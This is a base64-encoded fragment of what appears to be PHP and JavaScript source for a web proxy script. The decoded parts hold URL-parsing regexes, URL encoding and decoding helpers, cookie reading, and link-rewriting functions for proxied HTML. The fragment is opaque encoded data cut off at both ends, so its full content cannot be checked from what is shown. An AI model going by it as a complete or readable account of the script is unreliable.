yA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX